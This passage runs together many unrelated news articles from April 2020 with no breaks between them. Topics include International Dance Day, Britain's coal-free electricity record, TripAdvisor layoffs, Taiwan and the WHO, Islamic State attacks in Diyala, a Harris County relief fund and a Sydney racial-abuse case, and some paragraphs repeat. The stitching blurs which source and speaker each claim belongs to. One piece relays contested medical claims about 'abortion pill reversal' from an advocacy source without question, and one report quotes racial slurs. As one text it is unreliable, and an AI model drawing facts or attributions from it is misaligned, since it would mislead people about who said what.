of International Dance Day Since its inception in 1982, every year, a popular dance personality is chosen to send a message for International Dance Day. ITI also helps in organizing events in a selected city. In said city, there are dance performances, educational campaigns, humanitarian projects and speeches made by various ambassadors, dance personalities and the chosen author for that particular year. Also read: When Is International Firefighters Day? Learn The Story Behind It; see here International Dance Day's significance is high and to help spread awareness, each year, the ITI selects an extraordinary personality from the dance field to be the author for the event and share a message. The message delivered by the author focuses on the significance and relevance of dance. Trisha Brown, Alicia Alonso, and Merce Cunningham have been some of the past authors for the event. International Dance Day celebration is marked on April 29 with people from all over the world contributing to dance. The International Theatre Institute invites its members along with the dancers, choreographers, students and enthusiasts to join them in a Gala Celebration that is held. This Gala takes place in a selected city, which is decided by the Executive Council of the ITI. For example, in 2017 it was held in Shanghai, China. And in 2018, it was held in Havana, Cuba. People from all over the world celebrate the event on their social media by posting 'Happy International Dance Day' along with videos of themselves showing off their swift moves. Due to the coronavirus pandemic, it is imperative that you stay at your homes and celebrate International Dance Day from your homes. Get the latest entertainment news from India & around the world. Now follow your favourite television celebs and telly updates. Republic World is your one-stop destination for trending Bollywood news. Tune in today to stay updated with all the latest news and headlines from the world of entertainment. Danish Bible Society denies censoring Israel in new Bible translation, admits to removing 'sin' Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The Danish Bible Society has dismissed reports that its new Bible translation omits several mentions of Israel, substituting it for words such as "us" and the Jews," saying its translation is for nonreligious readers. Jan Frost, a resident of Denmark and supporter of Israel, drew attention to the issue when he showed that there were 59 omissions of Israel in the new translation. This includes the People of Israel being replaced with Jews and Land of Israel being changed to the land of Jews, The Times of Israel reports. Other references to Israel were changed to refer to all readers or all of humanity. For example, The Times of Israel notes that in the new translation the word Israel in the verse He who watches over Israel will neither slumber nor sleep was changed to us. In a statement released Wednesday, the Danish Bible Society said the accusations of censorship were fake news and said the translation, known as The Contemporary Danish Bible 2020, still includes numerous references to Israel. The words Israel and Israelites occur in the translation more than 2,000 times and the words Jew and Jewish occur more than 500 times. For instance, Jacob is still given the name Israel in Genesis and the people of God are still called Israel or the Israelites in the Old Testament, the Danish Bible Society said. Actually, in The Contemporary Danish Bible 2020 The Books of Kings and The Books of Chronicles have both been given new subtitles namely, The History of Israel's Kings 1 & 2 and The History of Israel 1 & 2. The Danish Bible Society said the translation was aimed at readers who lack a religious background, with various words being rendered differently. For instance, it does not use the usual Danish words for sin, grace, mercy, covenant and many other typically biblical words, which an average Danish reader would not be familiar with the meaning of, they said. In the translation of the New Testament it uses the Jewish People, the Jews, God's chosen people or simply The People to translate Israel since the majority of Danish readers would not know that Israel in the New Testament refers in large part to the people of God with which he has made a covenant. The Danish Bible Society also said the new translation is not considered the official translation of the Danish Folk Church and they continue to publish a translation that keeps all references to Israel. Some critics, however, responded by saying that other ancient places with modern equivalents, like Egypt, were not changed in the translation to clarify their context. We are stunned that the new Danish Bible Society publication of the Bible erases references to Israel out of stated worry over confusion with the modern Jewish state, said Bnai Brith International, according to Algemeiner. Yet this surreal revision causes confusion and worse: whitewashing of history, identity, and sacred scripture! Britain's nationwide lockdown during the coronavirus pandemic has seen the country use around 20 per cent less energy than normal. As a result, Great Britain has set a new record for how long the country has gone without using a single watt of energy produced from coal. At 6:10am BST this morning, the country surpassed its previous record of 18 days, 6 hours and 10 minutes. The coal free run is currently still going, with National Grid ESO saying it does not expect to bring any coal generation on to the system on Tuesday. The drop in demand as millions of Britons stay indoors has coincided with a fortnight of good weather, seeing energy consumption drop dramatically. Great Britain has set a new record for how long the country has gone without using a single watt of energy produced from coal. As of 6:10am BST this morning, the country surpassed its previous record of 18 days, 6 hours and 10 minutes Britain's done it! It's a new record for the longest period of #coalfree #electricity generation in this country. 18 days, 6 hours, 11 minutes . More to come on this in the meantime find out more about our #zerocarbon goals below @beisgovuk @PastCoal pic.twitter.com/FlFKr36TzN National Grid ESO (@NationalGridESO) April 28, 2020 When the country broke the record, it marked more than 438 hours and 10 minutes since the last coal generator came off the system at midnight on Thursday, April 9. The measures to shut down the country to prevent the spread of coronavirus have seen an increase in domestic consumption as people stay home. However, this has been more than counterbalanced by reduced industrial demand. Renewable sources of energy have also soared during the good weather, with solar farms capitalising on the recent sunshine. Almost ten gigawatts (9.68 gigawatts) of power was produced from solar panels at 1.30pm Monday, April 20, a new record. This comes as the Met Office announces April 2020 is already the sunniest April on record. In a tweet, the Met office said: 'New provisional information suggests that #April 2020 is now the #sunniest on record. '212.5 hours of sunshine have been recorded so far, with the previous record being 211.9 hours in 2015.' Analysis by energy and climate website Carbon Brief found during the last 18 days, renewables have been the largest source of electricity, producing 37 per cent of Britain's power. Just under a third (32 per cent) has come from gas, 22 per cent from nuclear and around nine per cent has been imported from France, Belgium and the Netherlands. That compares to 2012, when more than two-fifths (43 per cent) of power over the year was coming from coal, 26 per cent from gas and just seven per cent from renewables. In April 2020 to date, power demand has been almost a fifth lower (18 per cent) than it was in the same period last year. With factories, shops, schools and offices shut down across Britain, the National Grid said earlier this month may have to issue emergency orders to switch off power plants and wind farms this summer. It revealed the lack of demand for energy amid the coronavirus pandemic threatens to leave Britain's networks overwhelmed by too much electricity. As a result of the curtailed energy production, carbon dioxide emissions are down more than a third (34 per cent) compared to the same period last year. They are down more than half (51 per cent) on the five-year average, Carbon Brief said. Fintan Slye, director of ESO, said: '2020 is shaping up to be a record-breaking year for Great Britain's electricity system, and I've little doubt we'll see more exciting developments as the growth and performance of renewables continues to transform our grid at an astonishing rate. 'Within a matter of days we've seen a new solar generation record, and the longest period of coal-free operation in Britain.' Renewable sources of energy have also soared during the good weather, with solar farms capitalising on the recent good weather. Almost ten gigawatts (9.68 gigawatts) of power was produced from solar panels at 1.30pm Monday, April 20, a new record Almost ten gigawatts (9.68 gigawatts) of power was produced from solar panels at 1.30pm Monday, April 20, a new record. This comes as the Met Office announces April is already the sunniest April ever. In a tweet, the met office said: 'New provisional information suggests that #April 2020 is now the #sunniest on record' Londoners use more electricity than others in lockdown Londoners are using a lot more extra energy during the lockdown than the rest of the country, according to new data. Households in the capital have seen an approximately 40 per cent spike in their energy use, against a 27 per cent jump nationally, energy supplier Bulb revealed. The figures suggest that Londoners are more prone to work from home, with extra computers and lightbulbs guzzling an additional 25 per cent more electricity in the capital during the hours formerly spent in the office. It compares to a 17 per cent jump nationally, Bulb said. Bulb co-founder Amit Gudka said: 'The jump in electricity use is more pronounced in London - almost 10 per cent higher than the UK average, and even more so at lunch - which we would put down to a higher percentage of the working population living in the capital, leading to greater variation pre and post-lockdown.' Advertisement Earlier in the year, February became the greenest month on record for UK electricity generation, with the average amount of carbon pollution per kilowatt hour of power consumed falling to new lows. He said milestones like the latest coal-free run show Great Britain is leading the world in the shift to 'net zero', where greenhouse gas emissions are cut to zero overall. Gareth Redmond-King, head of climate change at WWF-UK, said: 'We urgently need to end the UK's contribution to climate change, and this is an important milestone on our journey. 'This is the birthplace of the Industrial Revolution we have been burning fossil fuels longer than anybody else, and we have benefited hugely from it. 'Now we are showing real climate leadership and breaking records for coal-free power, year on year, as we try to build a greener future. 'Renewable energy sources now generate an incredible one-third of UK power, proving we can adapt to live without damaging the planet we call home. There is no room for coal in a net-zero future.' (Bloomberg) -- TripAdvisor Inc. is cutting a quarter of its workforce and closing offices in San Francisco and Boston in a bid to shrink costs as the coronavirus pandemic decimates travel. The Needham, Massachusetts-based company is eliminating 600 positions in the U.S. and 300 people in other offices around the world, Chief Executive Officer Steve Kaufer said in a statement Tuesday. Most remaining employees will be forced to take a 20% salary cut and be reduced to four-day work weeks for three months starting June 1. These are the most difficult cost-saving decisions I have ever had to make, Kaufer wrote in a email to staff. This is a tough day on many levels, and this pandemic has been nothing short of surreal. Kaufer previously said he would forgo his salary for 2020, joining a list of CEOs who have taken similar measures. He said the full impact of the Covid-19 pandemic was yet to be laid bare. However, he said, I am confident that our business and the industry will recover. Axios earlier reported that TripAdvisor planned to cut jobs, without elaborating. The outbreak has gutted the travel sector as many countries have imposed lockdowns, bringing an end to business trips and vacation plans. Expedia Group Inc.s credit rating has been downgraded, Airbnb Inc.s highly anticipated public stock listing is in jeopardy, and Booking Holdings Inc.s CEO, Glenn Fogel, has asked for government aid. Globally, the travel and tourism sector could see as many as 100 million jobs lost to the virus, according to the World Travel & Tourism Council. This figure has increased by more than 30% in the past four weeks alone. This is a staggering and deeply worrying change in such a short time, Gloria Guevara, the councils chief, said in a statement. The whole cycle of tourism is being wiped out by the pandemic. (Updates with company statement and figures from tourism council starting in the third paragraph.) For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Lufthansa would be hard to steer if governments had too much influence on the company, its CEO was quoted as saying by German weekly Die Zeit on Tuesday, as the airline is struggling with the impact of the coronavirus pandemic, Trend reports with reference to Reuters. If Berlin were to exert too much influence on operations, then the governments of Austria, Switzerland, Belgium or the German federal states of Bavaria or Hesse might follow, Carsten Spohr said, according to the paper. You can hardly steer a group this way. Lufthansa has subsidiaries in Austria, Switzerland and Belgium and its two German hubs Frankfurt and Munich are located in the state of Hesse and Bavaria. The company has issued stark warnings about its solvency amid a gloomy outlook for the industry and discussing state aid. Taiwan pushed for its participation in the World Health Organisation (WHO) in a ministerial call with the United States on April 27 to discuss key health issues. Taiwans Minister of Health and Welfare Shih-Chung Chen held a teleconference with US Health Secretary Alex Azar to exchange COVID-19 prevention strategies and share their views regarding global health security. Taiwans Ministry of Health and Welfare said that Secretary Azar praised the self-governing island republic on its COVID-19 containment and thanked it for providing masks to the United States. The ministry added that Chen expressed his appreciation for the cooperation between the US and Taiwan on efforts to combat the virus and for the strong support extended by Washington on Taiwans participation in the UN health agency. Read: US Warship Sails Through Taiwan Strait, Second Time In A Month TAIPEI Act The issue of Taiwans participation in international organisations like WHO has gained momentum especially after US President Donald Trump signed the Taiwan Allies International Protection and Enhancement Initiative (TAIPEI) Act into law on March 26. The TAIPEI Act, authored by US Senators Cory Gardner and Chris Coons, aimed at strengthening Taiwans standing around the world. Minister Chen told Secretary Azar that he hopes the US will continue to support for Taiwans full participation in the World Health Assembly as observer and WHO meetings, mechanisms, and activities, said the ministry in a statement. Read: Hong Kong Bookstore Under Attack In China Reopens In Taiwan According to the ministry, the US Health Secretary has reaffirmed continued support from the US on expanding Taiwans participation in the WHO and global health arena. Azar took to Twitter to emphasise the need for global health partnership and appreciated Taiwans contribution towards it. This morning I spoke with Minister Chen of Taiwan regarding the #COVID19 outbreak. I thanked him for Taiwans efforts to share their best practices and resources with the U.S. Now, more than ever, global health partnership is crucial and I appreciate Taiwans contributions. pic.twitter.com/SZQ3u8Jgrr Secretary Alex Azar (@SecAzar) April 27, 2020 Read: Donald Trump Slams WHO For Ignoring Alerts By Taiwan Over COVID-19 Transmission Read: Taiwan Blames Trolls From China For Issuing Fake Apology To WHO Chief Record number of abortion pill reversal calls to pro-life ministry amid COVID-19 crisis Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A record number of calls have been received by the Abortion Pill Rescue Network, which helps women seeking to reverse the effects of the abortion pill. We are now seeing over 80% of our callers start the reversal process," Andrea Trudden, communications director for Heartbeat International, told Live Action. The Abortion Pill Rescue Network is run by Heartbeat International, a pro-life ministry aimed at providing alternatives to abortion to help moms keep their babies. We understand this is a stressful time for many, and some women are starting chemical abortion because that is the only option they can see, she said, noting that many of the calls come from from the abortion facility parking lot or from the car on the drive home because the regret is immediate. In the month of March, 105 mothers started the process of halting their chemically-induced at-home abortions after they called the APRN hotline. A chemical abortion occurs where a woman ingests mifepristone which is also known as RU-486 to block the progesterone hormone, causing the unborn child to die due to lack of oxygen and nutrients. When progesterone is withdrawn, the uterus lining, the source of nourishment for the baby, breaks down. The mom takes another pill 24 to 48 hours later to induce contractions and expel the body of the baby. "If a mother who changes her mind after beginning a chemical abortion receives supplemental progesterone before taking the second pill, there is a chance to save the babys life and continue with a normal pregnancy. The abortion industry has attempted to discredit the abortion pill reversal process and is using the pandemic to push for expanding dangerous telemedicine abortions," Live Action noted. The 2019 motion picture "Unplanned" which dramatically recounts the story of former Planned Parenthood clinic director turned pro-life advocate Abby Johnson as told in her 2014 memoir of the same name powerfully depicts this kind of chemical abortion. In the film, a distressed Johnson self-administers the drugs, which she obtained at the same Planned Parenthood clinic where she would later work to end her second pregnancy. Johnson is portrayed by actress Ashley Bratcher, who has since gone on to partner with Heartbeat International to provide scholarships in the name of the movie for mothers who find themselves facing an unplanned pregnancy but want to keep their babies and continue their education in pursuit of career goals. The uptick in abortion pill reversal calls to the Abortion Pill Rescue Network comes amid a worldwide pandemic and a shutdown of U.S. businesses and services deemed "non-essential," though the criteria for that designation has varied state by state. In some states, like Texas and Ohio and Alabama, abortion clinics have been ordered to close, arguing that abortions are not medically necessary procedures though those bans have been contested in the courts. 'Disturbing' rise in violence in Afghanistan after US-Taliban deal: UN Iran Press TV Monday, 27 April 2020 4:58 PM The United Nations Assistance Mission in Afghanistan (UNAMA) has expressed alarm at a surge of violence in the country where hundreds of civilians were killed or injured in the first quarter of the year despite a so-called peace deal signed between the United States and the Taliban militant group. The UN agency said in a statement on Monday that the Afghans had enjoyed a period of relative calm before the accord was signed on February 29, but the conflict resumed right after the peace deal, which was agreed upon in the absence of representatives from the government in Kabul. In a quarterly report accompanying the statement, UNAMA said more than 500 civilians had lost their lives in Afghanistan in the first three months of the year as violence raged even after the agreement between the United States and the Taliban on withdrawing foreign forces. The report said fighting in the first three months caused a total of 1,293 civilian casualties, of which 760 were injuries and the rest deaths, including 152 children and 60 women. "The report tracks a disturbing increase in violence during March at a time when it was hoped that the government of Afghanistan and the Taliban would commence peace negotiations," the UNAMA said. Deborah Lyons, the UN secretary-general's Special Representative for Afghanistan and head of UNAMA, reiterated calls for a humanitarian ceasefire, which the militant group has rejected in recent days despite the advent of the Muslim holy month of Ramadan. "To safeguard the lives of countless civilians in Afghanistan and to give the nation hope of a better future, it is imperative that violence is stopped," she said. Under the deal, the Taliban agreed to halt their attacks in return for Washington's phased withdrawal of its forces from Afghanistan and a prisoner exchange with the Afghan government. The Afghan government, which was excluded from the talks and was thus not a signatory to the accord, is required to release up to 5,000 Taliban prisoners. The militants are obliged to free 1,000 pro-government captives in return. Washington is compelled under the deal to pull out American forces and foreign troops from Afghanistan by July next year, provided that the militants start talks with Kabul and adhere to other security guarantees. About 14,000 US troops and approximately 17,000 troops from NATO allies and partner countries remain stationed in Afghanistan years after the invasion of the country that toppled a Taliban regime in 2001. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address LANSDALE Three residents were hurt and about 30 were forced to evacuate by a fire that took place at the Wissahickon Park Apartments in Lansdale late Monday night. The fire took place just before 10 p.m. Monday, when firefighters were dispatched for a reported building fire at the apartment building on the 700 block of East Main Street, according to borough Fire Marshal and Emergency Management Coordinator Rick Lesniak. Firefighters arrived on scene to find a second-floor apartment on fire. Firefighters also found occupants in adjoining apartments trapped inside the building, Lesniak said Tuesday. Four occupants jumped from their second-floor window and another was rescued with a ladder, he said. Three of those four were taken to local hospitals with non-life-threatening injuries, Lesniak said, and the occupants of the apartment where the fire started were able to safely evacuate using a building stairway. A total of about 30 occupants from 11 apartments were evacuated, according to Lesniak, who said firefighters were able to quickly put out the fire and contained most of the damage to the one apartment. Firefighters at the scene told online news outlet North Penn Now that five cats were also rescued from apartments and later returned to their owners. The cause of the fire was still under investigation as of Tuesday afternoon, and Lesniak said he and the Fairmount Fire Company encourage and remind residents to prepare and practice their home fire escape plans. Lesniak added Tuesday that he is working with the occupants to find out what they need, but no specifics were yet available about donations or help for those displaced. As of Tuesday morning, the Red Cross of Southeastern Pennsylvania had provided emergency assistance to 25 residents displaced by the fire, mostly for temporary lodging and assistance for short term food and clothing needs, according to Red Cross spokesman Dave Skutnik. Also assisting at the scene were borough police, several surrounding fire companies and the Volunteer Medical Service Corps of Lansdale. Low-income families, residents in the country illegally, victims of domestic violence and children aging out of foster care are the target audience for a $15 million coronavirus relief fund Harris County Commissioners Court created Tuesday. The fund, proposed by Precinct 1 Commissioner Rodney Ellis, aims to assist residents who are ineligible for federal aid through the CARES Act or for whom the $1,200 stimulus payments are insufficient. I think you can feel the pain of people hurting, Ellis said. I also want to make sure we are sensitive to our small businesses, but also those people who have to go catch the early bus to go wash dishes and bus tables. The Greater Houston Community Foundation and United Way will manage the program, which will provide one-time payments directly to residents to cover essential expenses, including food, utilities and housing. Residents will be able to make requests online once applications become available. To be eligible, residents must live in Harris County and have a total household income below 70 percent of the federal Area Median Income benchmark; in Houston, that is about $53,400 for a family of four. Residents also would be eligible if they qualify for a federal public assistance program, such as SNAP, WIC or Medicaid. Households with active cases of domestic violence, homeless people living in shelters and children who have aged out of foster care do not have to meet those requirements. A draft of the relief fund proposal states recipients would receive aid within 45 to 60 days, though Ellis said he hoped disbursements can begin within weeks. San Antonio, Austin and Dallas have established similar funds. Ellis said he wanted to ensure the roughly 500,000 Houston-area immigrants, who are in the country illegally, can receive aid, since they are ineligible for federal aid despite often paying income taxes. Sandra Valencia, who lives in northwest Houston, said she is a domestic violence survivor who has been unable to work for six weeks because she contracted the novel coronavirus. She urged court members to approve the relief fund so people in her situation could receive aid. I have no money to feed my child, and I just dont know what to do, Valencia said. Minister Jacqueline Hailey of the New Hope Baptist Church said housing is a particular area of need, as Friday marks the second time rent will come due since the pandemic reached the Houston area in March. There are 70,000 Houston renters who were unable to pay their rent last month, and there will be even more in May, Hailey said. Court members approved the program on a 3-2 vote, with the two Republican members dissenting. Precinct 3 Commissioner Steve Radack said Ellis and the courts analyst had provided too few details about the program. Precinct 4 Commissioner Jack Cagle said he opposed using tax revenue for the fund, and said he was concerned his constituents would not benefit fairly from the program. I am supportive of this entity, Cagle said. I am not supportive of taking property tax funds and putting that into it. The $15 million will come from Harris Countys $262 million rainy day fund, which is reserved to help the county recover from natural disasters and economic downturns. Commissioners Court earlier this month dipped into the fund for a $10 million forgivable loan program for small businesses harmed by coronavirus restrictions, including the countys stay-at-home order. The county stopped accepting applications to the program after less than 48 hours after being deluged with $152 million in requests. zach.despart@chron.com An uptick in Islamic State (IS) attacks in Iraqs Diyala province, which borders Iran but also stretches south to the outskirts of the capital, has concerned Iraqi officials and analysts. On April 27, Iraqi Army Chief of Staff Lt. Gen. Othman Al-Ghanmi visited the 5th Division in Diyala to assess the current situation in light of the increased threat. There have also been significant security incidents in recent weeks in neighboring Kirkuk and Salahuddin provinces, including an attempted suicide attack on Kirkuk intelligence offices on April 28. A screen grab from an IS video showcasing fighters launching mortars under a bright Iraqi sun shows they are confident enough now to conduct attacks in the daytime, a Diyala security officer told Al-Monitor in an interview conducted via WhatsApp on April 25. The attacks always used to happen only after it got dark, he added, noting that the screen grab sent to Al-Monitor was of an attack conducted about two weeks before near Lake Hamreen in Diyala. The Diyala security officer, who cannot be named as he had not received authorization to speak to the media, said that IS uses groves of trees between Kulajo to Jalawla to hide in. He claimed that among the IS fighters active in the area are Kurdish Iranians who have crossed into the province from Iran as well as dozens of locals from the Karwi tribe in Jalawla. When this journalist reported from Jalawla in April 2015, over four months after it was retaken from IS, one peshmerga forces officer claimed the tribe had accounted for slightly more than half the inhabitants prior to IS entrance, but that the land had been entirely Kurdish prior to its forced Arabization. On April 3, peshmerga forces announced the arrest of a local IS leader in Diyala who had taken part in several attacks on their forces in Jalawla and Qaratapa when the towns were still under the control of the Kurdistan Regional Government (KRG), starting in 2014 a 68-year-old man captured by the Asayish in Kalar on March 16 later confessed. The province has seen the largest number of IS attacks in the country for months. In March, for example, Diyala suffered the most violence with 26 recorded incidents. Washington Institute for Near East Policy fellow Michael Knights wrote in an April 24 tweet that Diyala is the top-ranked attack locale for [IS]. Assuming that these nine IED attacks are enemy-initiated and not legacy IEDs or criminal, that would be about twice the rate seen in H2 2019 and Q1 2020 on the incidents listed in an Iraq Security and Humanitarian Monitor report issued by the Enabling Peace in Iraq Center (EPIC) In a 2013 CTC Sentinel report, Knights and Iraq security analyst Alex Mello noted that since 2003 Diyala had served as a fallback location for the takfiri predecessors of the Islamic State. This journalist reported from the frontline with peshmerga forces during the fight to retake Jalawla from IS in 2014. The international terrorist organization had taken the town in August, lost it briefly and then retook it again, according to officers who spoke to Al-Monitor at that time. Peshmerga forces won it back in late November 2014. The commanding officer this Al-Monitor reporter accompanied during her time on the Jalawla frontline and at a peshmerga base in Khanaqin in 2014 was Gen. Hussein Mansour, a Shiite Feyli Kurd who was killed by an IS sniper some months later near Kirkuk. Iraq's central government forces took Kirkuk and Jalawla away from the peshmerga in October 2017. Tensions between the KRG and the central government in Baghdad over territory, oil revenue and other issues also continue to result in security gaps and a lack of coordination susceptible to exploitation by insurgent groups. The Diyala security officer noted that various Iran-backed Popular Mobilization Units (PMU) had abandoned some of their positions in the province in March, allegedly due to concerns about being targeted by US drone strikes, and that weaponry left behind had then been taken by IS fighters. He claimed that the mortars and ammunition shown in the footage had previously almost certainly been in the hands of Iran-backed PMU. Armament Research Services director Nic Jenzen Jones told Al-Monitor that the screen grabs of IS fighters shooting mortars in Diyala showed ''Iranian M91 81 mm high-explosive mortar projectiles, fitted with AZ111A-series fuze, and that ''there have been quite a few with Iranian-supported Iraqi Shiite militias," but that it was rare to see them in IS hands. In response to emailed questions, coalition spokesman Col. Myles B. Caggins III said April 26 that Combined Joint Task Force Operation Inherent Resolve had conducted only two airstrikes this year in the Diyala region, both at the request of the Iraqi Security Forces. Reports of greater activity by IS in this period, he said, had been partially due to the Iraqi Security Forces direct action against [IS] hideouts in the mountainous regions and rural areas in north-central Iraq, implying that the rash of attacks was more defensive on the part of IS than offensive. Caggins confidently claimed that a large number of security forces namely the federal police, the counterterrorism service, the army, the peshmerga and the international coalition were thumping [IS] wherever they pop up. On April 25, Britain announced it had conducted its first anti-IS airstrikes in seven months on April 10. The target was near Tuz Khurmato in Kirkuk province. In addition to a number of other IS incidents in the Salahuddin and Kirkuk regions in recent weeks, attacks have also occurred along Iraqs border with Syria. Reports indicate that IS killed a member of al-Waleed district council and kidnapped his son on April 26. The Iraqi security media cell said that the official, Sheikh Talal al-Amsi, had been killed and his brother and wife injured in the attack in the border area of western Anbar. Muscat Municipality is co-ordinating with Oman's housing ministry to allocate 250,000 sqm of land for the construction of a Labour City in the capital for the expat workers. The government will then invite bids from the private sector for the construction and management of the facility. But now with Covid-19 pandemic, demand is growing to have these facilities outside the residential areas, reported Oman Daily Observer, citing municipal officials. Expatriate bachelor accommodations and camps have brought in concern of further community spread, especially in maintaining isolation and quarantine, they stated. For the moment, authorities from the Ministry of Health and Muscat Municipality have tried to address the issuing by intensifying the Covid-19 tests among this section of the society, they added. A senior Muscat Municipality official said majority of the members believe that the need for having labour camps outside the residential areas has become more important now than ever. "There is a discussion by the concerned authorities at all levels about the expatriate workers accommodation and we seek to reach the stage of establishing workers cities outside the residential areas," he added. One of my favorite church events has always been the post-church potluck lunch. COVID-19 may have paused our monthly parade of 9-by-13 pans, but I dream of the day when well all be back together in the church basement with our favorite recipes. As a kid perusing the potluck banquet, I always went for the cookies. As an adult, I try to make wiser choices. I pass up the kielbasa to leave room for some salad, and I take a generous spoonful from otherwise-untouched pans so that no one feels bad. But no matter how carefully I make my selections, the offerings themselves arent always balanced. Some weeks, in mysterious synchronicity, everyone shows up with a pasta dish. Other weeks, we all resolve to be healthier, and vegetables take over space usually reserved for desserts. The composition of spiritual gifts in the local church can look a lot like a meal in the fellowship hall. Sometimes, the church has an abundance of preachers and teachers. Other times, it has no one to fill in when the Bible study leader is sick. Sometimes, the church has plenty of people to cook and clean for the elderly. Other times, it struggles to find any. A church may have dozens of ministry organizers to every one person who can make the coffee, or 15 nursery volunteers to every one who wants to do evangelism. And in many churches, it can feel like a few people have all the gifts, and the rest of us barely have one. For a generation of Christians versed in personality inventories and enneagram numbers, this environment can feel disorienting and even disappointing. Shouldnt the gifts and graces in the church be more evenly distributed? Shouldnt we be able to categorize the gifts in our midst? And shouldnt our local body contain them all? After decades of watching these questions play out in my local church and elsewhere, I think it might be time to put down the congregational surveys and spiritual gifts quizzes and learn to enjoy the feast the Spirit spreads for us. In the New Testament, we find five different lists (Rom. 12:68; 1 Cor. 12:810, 2830; Eph. 4:11; 1 Peter 4:711) that altogether name dozens of spiritual gifts. Some of the gifts are familiarevangelism, faith, acts of mercy, teaching. Some are puzzlingwhat, for example, is the difference between a message of wisdom and a message of knowledge (1 Cor. 12:8)? The interplay of the lists only adds to our head scratching. Several of the gifts are repeated in more than one list, while others appear in only one place. Even the two lists in 1 Corinthianswhich we might expect to shed some clarifying lightinclude both repetitions and distinctions. As Ive spent time studying these parts of Scripture, one thing seems clear to me. Our attempts to rigidly classify and neatly identify a precise list of spiritual gifts will end in frustration. And thats exactly the way it should be. Paul and Peter dont encourage us to chart the gifts in our congregation or even to spend much time worrying about which ones we possess as individuals. In a sense, they want us to put down the gifts quizor at least to think and talk about it way less often. Thats because an overly tidy approach to spiritual gifts misses this ultimate point: The Spirit gives precisely the right gifts in precisely the right measure at precisely the right moment to precisely the right people for the good of the local church. All these [gifts], writes Paul, are the work of one and the same Spirit, and he distributes them to each one, just as he determines (1 Cor. 12:11). We see this idea echoed once again in verse 18. Comparing the church to a body, Paul writes, But in fact, God has placed the parts in the body, every one of them, just as he wanted them to be. A few verses later, Paul plainly dismisses any suggestion that some people or gifts are more essential to the bodys well-being than others: The eye cannot say to the hand, I dont need you! and the head cannot say to the feet, I dont need you! On the contrary, those parts of the body that seem to be weaker are indispensable (1 Cor. 12: 2122). Again, he asserts, God has put the body together (v. 24, emphasis added). This simple truth shapes our theology of gifts in three distinct ways. First, it gives us confidence: Our specific gifts have an essential, God-appointed place. Second, it humbles us: Our specific gifts are only one part of the body, and we need other people with their unique gifts (Rom. 12:3). Finally, this truth should increase our love for the local church. The gifts displayed by believers in our local body are exactly what our loving God knows we need. Their gifts are his gift to us. And however cobbled together they might seem, those people and those gifts are placed there with purpose. Of course, the church is tasked with recognizing and utilizing congregants gifts, and the enneagram and other analysis tools can be useful toward that end. But ultimately, Gods desire is to see us look less toward ourselves and more toward the Spirits work in our gathered midst. He wants us to set aside our own ideas of what a balanced church looks like, grab a plate, and come enjoy the feast. Megan Hill is the author of three books, including A Place to Belong: Learning to Love the Local Church (Crossway, May 2020). She serves as an editor for The Gospel Coalition and lives in Massachusetts where she belongs to West Springfield Covenant Community Church. The Union Minister for Electronics and IT Ravi Shankar Prasad in a meeting with all the state governments says anger against China can be used towards benefit for India's manufacturing sector. The Union Minister for Electronics and IT Ravi Shankar Prasad has asked state governments to treat the COVID-19 pandemic as an opportunity and prepare for the forthcoming boom in the electronics manufacturing sector. The comments of the minister came at a meeting with his state counterparts where he said that anger against China can be used towards benefit for Indias manufacturing sector. During his interaction with state Chief Ministers, IT ministers and officials, Prasad claimed that major opportunity in the electronic manufacturing sector is likely to open up for India soon. The minister, while addressing the participants, said that time has come when this calamity should be turned into an opportunity and praised various departments for their services during the lockdown. All the IT Ministers of State Governments expressed solidarity and commitment to work together as team India in our collective fight against #COVID19. pic.twitter.com/Zt6rHRizV0 Ravi Shankar Prasad (@rsprasad) April 28, 2020 I want to make an appeal to Chief Ministers, Deputy Chief Ministers, and Ministers that age for electronic manufacturing is set to come in India. The condition in China is such and considering peoples anger against China, I am sure the opportunity of India is going to come. The ministry has given incentives and I would like to state that cooperation by states will play a crucial role in it, stated the minister. The minister also said that a lot of relaxations were given for work from home and IT Secretary, Communication Secretary and Postal Secretary gave presentations of their departments citing requirements and expectations by the Centre from the state departments. Every state highly appreciated the #AarogyaSetu app and shared their thoughts on it. I have assured them that a similar solution for feature phones is being developed and will be launched very soon. pic.twitter.com/Z6VQOPfmcx Ravi Shankar Prasad (@rsprasad) April 28, 2020 Norms for work from home have been relaxed. We will aspire that work from home should become a new norm, said Prasad while asking the participants to encourage young entrepreneurs investing in new startups. All IT Ministers deeply appreciated the role played by @IndiaPostOffice, @DoT_India, @CSCegov_ in providing citizen centric services during these trying times. I assured them that Govt of @narendramodi will extend all possible assistance to states in the fight against #COVID19. pic.twitter.com/KyNXEUODan Ravi Shankar Prasad (@rsprasad) April 28, 2020 The Minister praised the department for making Arogya Setu app a success. Arogya Setu app has become very popular as well, the minister added. He also lauded the Postal Department for undertaking social service and digital services like digital payments and wished that states would use the vast network of our postal department in the country. Interacted with the IT Ministers of all the states of India. A very meaningful discussion on #COVID19 challenge, tech innovations to address that and future of IT & Electronics sector. pic.twitter.com/Bgutw9HSbR Ravi Shankar Prasad (@rsprasad) April 28, 2020 IT Ministers shared their best practices and innovations. To enable learning from each other and sharing of innovations, I have asked @GoI_Meity to prepare a digital platform. pic.twitter.com/PxhG6gCWQd Ravi Shankar Prasad (@rsprasad) April 28, 2020 For all the latest National News, download NewsX App A woman already accused of racially abusing an elderly Asian train passenger has been filmed screaming ethnic slurs at a photographer outside a police station. Angela Weedon, 38, was surrounded by police officers when she began hurling abuse at a man outside Sydney Police Centre on Monday. 'That's alright, you maggot, you're going to be sued too,' she said. 'Good luck having no money you piece of s**t. Because you're an illegal aren't you, little Mr India... F**k, off dog.' The footage comes after Weedon appeared in court earlier this month accused of a string of similar incidents. Angela Weedon, 38, was surrounded by police officers when she began hurling abuse at a man outside Sydney Police Centre on Monday Weedon (pictured) was charged after footage emerged online showing her allegedly taunting an elderly woman on a Sydney train Weedon was charged after footage emerged showing her allegedly taunting an elderly woman on a Sydney train. In the footage she can be heard telling the woman 'you are not welcome here illegal, you and your biocontamination'. She also asked the woman if she can speak English' before calling her an 'illegal'. 'Youre not welcome here, understand?' She was also charged after she allegedly told a Telstra store employee to 'go home to China'. Weedon had only just been released from police custody on strict bail conditions when she began her latest outburst on Monday. Angela Weedon, 38, can be seen verbally abusing a photographer as police told her to move along Police will allege that on Monday morning she threatened and kicked a man after he denied her a cigarette. 'As the man tried to 